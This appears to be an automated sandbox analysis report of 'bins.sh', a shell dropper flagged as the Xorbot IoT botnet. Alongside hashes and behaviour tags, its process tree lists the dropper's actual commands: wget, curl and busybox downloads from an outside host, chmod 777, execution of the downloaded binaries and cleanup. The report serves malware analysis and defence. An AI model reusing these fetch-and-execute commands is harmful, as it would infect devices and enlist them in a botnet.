Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2024, 11:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    76ba94435ced18162e80667193f2be3d

  • SHA1

    c4b716bb58b39a008d3bcd886deb02c1570831e6

  • SHA256

    6e025b2263805a84813cfadbec8d8c7597c3bf982fbd607227aa5d414fcb7f3d

  • SHA512

    528dea460c90468ff2e16fd04cf86c314c358ff016f996d459ffda1d2b3c3d8f0bfa6aa411162979fb929c4eeca56b70ca4f7903bbd994f5ba22041e8854ca58

  • SSDEEP

    192:FJf/fHfgf1fxf7F41556fzLF1DLf6RxizA7AYhy/+SEAYhy/+SLf6RxiK1M556f9:FCF4CF1DLf6RxKA7AYhy/+SEAYhy/+SM

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:815
        • /bin/chmod
          chmod 777 hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
          • File and Directory Permissions Modification
          PID:816
        • /tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          ./hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
          • Executes dropped EXE
          PID:817
        • /bin/rm
          rm hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud
          2⤵
            PID:819
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
            2⤵
            • Writes file to tmp directory
            PID:820
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:821
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0
            2⤵
              PID:823

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/hcPJMbjiGhYDmqzxVt9jloywEGcPT2VCud

                  Filesize

                  107KB

                  MD5

                  eb9c3a0de91fcf16ba17cb24608df68c

                  SHA1

                  09d95a7d70d5e115d103be51edff7c498d272fac

                  SHA256

                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                  SHA512

                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                • /tmp/inkZKlTgr6s67SdluZEE36lpBTGzi3I1P0

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e